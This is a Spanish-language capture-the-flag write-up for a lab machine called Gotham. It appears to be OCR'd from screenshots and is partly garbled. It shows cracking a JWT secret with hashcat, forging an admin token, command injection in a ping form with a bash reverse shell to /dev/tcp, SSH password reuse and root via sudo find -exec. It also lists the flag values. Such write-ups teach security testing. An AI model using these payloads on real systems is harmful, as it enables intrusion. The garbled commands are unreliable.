MAQUINA GOTHAM
Gotham — Writeup (solucién intencionada)

Dificultad: Intermedia
Foco: Manipulacion de cookie de sesién (JWT) > command injection -

password reuse 2 sudo misconfig

-—open -sCV -n <IP> -oN

Initiating NSE at 1

Completed NSE at 16:20, 0.40s elapsed

NSE: Starting runlevel 2 (of 3) scan.

Initiating NSE at 1

Completed NSE at 16 0.02s elapsed

NSE: Starting runlevel 3 (of 3) scan.

Initiating NSE at 1

Completed NSE at 16:20, 0.00s elapsed

Nmap scan report for 172.17.0.2

Host is up, received arp-response (0.0000030s latency).

Scanned at 2026-06-07 16 37 EDT for 7s

Not shown: 65533 closed tcp ports (reset)

PORT  STATE SERVICE REASON VERSION

22/tcp open ssh syn-ack ttl 64 OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:

25 49 124:22:4c:a5:18:e6:58:da:3f:0d:b9 (ECDSA)

IHAYNTYAAAAIbm1zdHAYNTYAAABBBAXmnAibLezF/DGxdhA+ROhmachaobTVJDHacBlH2PveYdzK3aCtxettN/+EcIn+6BnI1v7uxmvfypgc2aXMsRI=
256 a :b8: :7d 31 4c:1c:25 (ED25519)

_ssh-ed25519 AAAAC 5 5nP1jjemNtvNV377EVKVFS4LE6PG14vdGey /488y

0/tcp open http k ttl 64 Apache httpd 2.4.52 ((Ubuntu))

http-robots.txt: 2 disallowed entries

/dashboard.php /admin.php

http-title: Gotham City Network

http-server-header: Apache/2.4.52 (Ubuntu)

http-methods:

|_ Supported Methods: GET HEAD POST OPTIONS

MAC Address: 2A:D 1F:13:31 (Unknown)

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Puertos: , .

En 1a web hay un login. En el cddigo fuente:



GOTHAM//NET

AIITHEIITICATE

Login con . El servidor entrega una cookie con
un

E1l dashboard muestra y el panel admin queda bloqueado
(403).

GOTHAM//NET

Welcome back,

Clearance level:

tions Center (admin)

b2x11j0idXNlci s ImlhdCI6MTCAMDgZME:

Decodificar el JWT ( 0 ). E1 header es



Crackear el secreto:

JWT Decoder, Verifier, Generator, Decryptor

For information on JWI see IETF RF
version 1.1.4.103

‘F‘ Signed

leyJ0eXA101IKV1QilCIhbGci0iIIUZIINiIJ9. eyJlc  #527¢ {
2VyIjoizZ3V1c3QilCIyb2x1IjoidXNlciIsImlhdCI - "typ": "JWT",
6MTc4MDg2Mz c2MHO . BopY rP5H7LK5QS3vrkGPcrvVeD ‘ = J "alg": "HS256"
waYvGNxWouIv1l387ag -}

)

v

T "user": "guest",

=xp "role": "user",

do nothing "iat": 1780863760

< > -C -d

-m 16500

/home/thebat/Documentos/dockerlabs/Resolucion
16500 token.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debia inux, None+Asserts, RELOC, SPIR-V, LLVM 18.1. SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
Device #01: cpu-penryn-12th Gen Intel(R) Core(TM) i5-12500H, 2227/4455 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

: 1 digests; 1 unique digests, 1 unique salts
: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules:

Optimizers applied:
* Zero-Byte

* Not-Iterated

* Single-Hash

* Single-Salt

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 513 MB (2923 MB free)

Dictionary cache built:
Filename..: /usr/share/wordlists/rockyou.txt
Passwords 14344392
Bytes.... 139921507
Keyspace. 14344385
Runtime...: 0 secs

JKV1QiLCJhbGci0iJIUzITNiJ9 . ey)1c2VyIjoiZ3V1c3QiLlClyb2x1IjoidXNlcilsImlhdCI6MTc4MDg2Mzc2MHO . BopYrP5H7LKSQS3vrkGPer aYvGNxWOuIvi387ag:batman

Secreto recuperado: .
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Token header values:

[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
r 0 to Continue)

Token payload values:

*ADD A VALUE*

*DELETE A VALUE*
*UPDATE TIMESTAMPS*
Continue to next step

Please select a field number:
(or 0 to Continue)

Current value of role is: use
Please enter new value and hit ENTER
> admin

*ADD A VALUE*

*DELETE A VALUE*
*UPDATE TIMESTAMPS*
Continue to next step

Please select a field number:
r 0 to Continue)

JWT Decoder, Verifier, Generator, Decryptor

For i looks like a signed JWT [:]

signed

leyJ0eXAi0iIKV1QiLCIhbGci0iJIUZIINiIJ9.eyllc #5256 {
2VyTj0iZ3V1c30iLCIyb2x1TjoiYWRtaW4il CIpYXQ “typ": "JwWT",
10jE30DA4N M3N; B9 . MQRSqtAUj qvBnS5tadXbd7le ‘ A ‘ "alg": "HS256"
SK-QEO0lexQqSaQylalE }
-
A
"user": "guest",
"role": "admin",
do nothing "iat": 1780863760
O 3}
p: [
[C] DARK MODE

Key-Must-Be-at-least-32-bytes-in-length!

UTE-8

58}

2] [ 4 W 511 . @ K CTRL DERECHA

Reemplazar 1la cookie por el token forjado > acceso a
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NOC//DIAGNOSTICS

Connectivity check utility. Enter a host to ping

TARGET HOST

RUN DIAGNOSTIC
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tiene una utilidad de ping vulnerable. Payload:
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NOC//DIAGNOSTICS

Connectivity check utility. Enter a host to ping

TARGET HOST

127.0.0.1; bash -c 'bash -1 >& /dev/tcp/172.17.0.1/443 03¢

RUN DIAGNOSTIC

& O
[ simacenamienco 1o +ce v
) samacansmiento ds 13 sesién s

[ rtmacenamienco de cacne  [BEEBIERRIESRISIRA

152 |false |falss |wone  [sun, 07 dum 2026 215 v session

Listener:




-lvnp 443

root@kali: /home/thebat

rl

/home/thebat
443
listening on [any] 443 +
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 55470
bash: cannot set terminal process group (34): Inappropriate ioctl for device
bash: no job control in this shell
www-data@e672c0b72328: /var /www/html$ [

[ # W 511 7, @ K CTRL DERECHA

Shell como . Estabilizar:

root@kali: /home/thebat

rlab. 1i:

/home/thebat
443

listening on [any] 443 :
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 55470

: cannot set terminal process group (34): Inappropriate ioctl for device

no job control in this shell

ata@e672c0b72328: /var/www/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@e672c0b72328: /var /www/html$ cat /var/www/html/config.php
cat /var/www/html/config.php
<?ph
/7 config.php — Gotham City Network (internal)
[/ =

// Legacy DB connection. Migrar a vault pendiente
= '127.0.0.1";
‘gothamdb ' ;
'Arkh4m_Knight!'; // NOTE(W.E.): misma clave usada en la cuenta de mantenimiento

// Secreto de firma de sesiones (rotar trimestralmente)
$JWT_SECRET = 'batman’;

// Cuentas de la aplicacién
SUSERS = [
‘guest' => ['pass' => 'guest', 'role' => 'user']
1:
2>
www-data@e672c0b72328 : /var /www/html$ [




www-data@e672c0b72328: /var/www/html$ cat /etc/passwd | grep bash
cat /etc/passwd | grep bash

root:x:0:0:root:/root:/bin/bash

bruce:x:1000:1000: :/home/bruce:/bin/bash

www-data@e672c0b72328: /var/www/html$

/home/../Documentos/dockerlabs/Resolucion/jwt_tool
bruce@172.17.0.2

The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is: SHA256:Bk7rEmFIfSuuHWKvfsy4fjJC7IvuK/nf30tt+eMNjx8
This key is not known by any other names.
JAre you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
bruce@172.17.0.2"'s password:
[Wwelcome to Ubuntu 22.04.5 LTS (GNU. ux 6.19.14+kali-amd64 x86_64)

* Documentation: https://help.ubuntu.com
* Management : https://landscape.canonical.com
* Support: https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software:
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

bruce@e672c0b72328:~% 1s

user.txt

bruce@e672c0b72328: % cat user.txt
d1f4a9c0b7e35628af1029384756bcde
bruce@e672¢0b72328: %

bruce@e672c0b72328:-% sudo -1
Matching Defaults entries for bruce on e672c0b72328:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/ s use_pty

User bruce may run the following commands on e672c0b72328:

(root) NOPASSWD: /usr/bin/find
bruce@e672c0b72328: %

GTFOBins:

-exec \; -quit
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bruce@e672c0b72328:~% sudo -1
Matching Defaults entries for bruce on e672c0b72328:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\: n, use_pty

User bruce may run the following commands on e672c0b72328:
(root) NOPASSWD: /fusr/bin/find
bruce@e672c0b72328:~% sudo find . -exec /bin/sh \; -quit

bruce@e672c0b72328:~% sudo -1
Matching Defaults entries for bruce on e672c0b72328:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap use_pty

User bruce may run the following commands on e672c0b72328:
(root) NOPASSWD: /usr/bin/find

bruce@e672c0b72328:~% sudo find . -exec /bin/sh \; -quit

# whoami

root: No such file or directory
# cat root.txt
a7e2c9f81b6d40539e8170264fbac3d5
#

Item Valor
Web account

JWT secret

SSH user

user.txt

root.txt



